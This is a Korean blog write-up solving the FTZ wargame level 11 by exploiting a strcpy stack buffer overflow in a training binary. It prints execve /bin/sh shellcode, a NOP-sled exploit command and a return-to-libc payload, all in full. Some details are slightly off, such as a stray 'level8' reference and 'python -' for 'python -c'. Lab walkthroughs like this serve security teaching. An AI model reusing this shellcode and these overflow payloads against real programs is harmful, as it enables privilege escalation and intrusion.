본문 바로가기

System Security/FTZ

FTZ level11

FTZ level 11
 - Question
  · level11 ID로 Login해서 level12의 password를 찾기


 - Solve

  · 'level8' Directory의 hint 내용을 확인해보면 Hint로 attackme File의 Source Code가 제공된다.
  · Source Code 분석
  ◦ Stack Memory 영역에 str 변수를 256Byte 만큼 확보한다.
  ◦ 'strcpy'가 사용되었으며 이를 이용해 BOF 공격을 해야 한다.

  · File을 분석하기 위해서는 gdb를 사용해야하는데 원본 File이 level12에 대해서만 쓰기(w)가 가능하므로 쓰기 권한이 주어진 tmp Directory에 복사 후 분석해야한다.

  · gdb를 통해 main 함수에 Break Point를 설정해 분석해보면 Epilogue 부분에 'sub $0x108,%esp' 'sub $0x8,%esp'에서 stack을 0x108(256Byte) 0x8(8Byte)을 확보한다.
  · attackme Process가 사용하는 Stack Memory(Payload) 구조

  ◦ attackme Process는 위와 같이 Stack Memory 영역을 사용한다.
  ◦ 공격을 하기 위해서는 RET(Return Address)를 이용해 Shell Code를 실행(RET)시키거나 bash Shell의 주소를 돌려(RTL)주거나 Eggshell을 이용해야한다.
  ◦  필자는 Shell Code를 실행시키는 방법과 RTL을 이용하는 방법을 두 가지를 이용하겠다.
  · RET 공격
  ◦ RET 공격을 하기위해 Shell Code를 Web을 통해 구한다.
  ◦ Shell code 

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
cs

   ▹ 총 25Byte
  ◦ Process의 Payload 값을 gdb를 통해 구한다.
  ◦ 공격 시 넣게 될 공격 Code(Exploit) 구조

   ▹ Stack 영역에 Shell Code를 추가해 Return Address를 해당 Process의 Main 시작 부분으로 설정해 Shell Code를 실행할 것이다.
   ▹ 총 공격 Code 크기는 256 + 8 + 4 + 4로 272Byte이다.
   ▹ 이 중에서 25Byte는 Shell Code를, 4Byte는 Return Address를 넣어줄 것이기 때문에 NOP를 채워줄 부분은 272 - 25 - 4 243Byte가 된다.

  ◦ python을 이용해 NOP(0x90)이 들어갈 곳에 A를, Shell Code가 들어갈 곳에 B를, RET(Return Address)가 들어갈 곳에 C를 채워 넣는다.

  ◦ 명령어를 이용해 현재 지점부터 Stack 영역에 들어간 값을 확인해본다.
  ◦ 정상적으로 잘 넣어진 것을 확인해 볼 수 있으며 해당 Stack 영역이 0xbffffa2c 영역 근처에서 시작한 것을 볼 수 있다.
  ◦ Linux System에서는 File이 항상 같은 Memory 영역에 실행되지 않으므로 여기서 구했던 주소(0xbffffa2c)의 근사 값을 RET에 넣어주면 된다.

  ◦ Python을 이용해 실행하면 정상적으로 Shell Code가 실행되어 Level12의 sh가 실행된 것을 볼 수 있다.
  ◦ 사용된 명령어 

1
./attackme `python -'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x4c\xfa\xff\xbf"'`
cs

  · RTL 공격
  ◦ RTL 공격은 System 명령의 주소를 알아내어 해당 주소를 RET(Return Address)로 바꿔 실행하는 방법이다.
  ◦ System 명령을 실행하기 위해서는 system 명령어가 필요하기 때문에 처음에는 system 명령어를 실행시켜주고 현재 실행중인 attackme의 Process를 종료하기 위해 exit 명령어를 실행시킨 후 sh Shell의 주소를 넣어 sh를 실행시킨다.
  ◦ 공격 Code(Exploit)의 구조

  ◦ gdb를 이용해 attackme 내에서 사용되는 system 명령어와 exit 명령어의 주소 값을 구한다.

  ◦ /bin/sh의 주소를 구하는 File을 Coding해 만든다.
  ◦ find_binsh Code

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main()
{
    long shell=0x42127ea4;
    while(memcmp((void*)shell,"/bin/sh",8))
    {
        shell++;
    }
    printf("0x%x\n",shell);
}
cs

  ◦ 얻어낸 주소 값과 Python을 이용해 실행하면 정상적으로 level12의 sh가 실행된 것을 볼 수 있다.
  ◦ 사용된 명령어 

1
./attackme `python -'print "a"*268+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x42"+"\xa4\x7e\x12\x42"'`
cs

  · Password 찾기

  ◦ sh Shell을 실행 후 my-pass 명령어를 이용해 level12의 Password를 구한다.


 - Answer
  · Password : it is like this

'System Security > FTZ' 카테고리의 다른 글

FTZ level 13  (0) 2015.08.18
FTZ level12  (0) 2015.08.18
FTZ level10  (0) 2015.08.18
FTZ level9  (0) 2015.08.18
FTZ level8  (0) 2015.08.18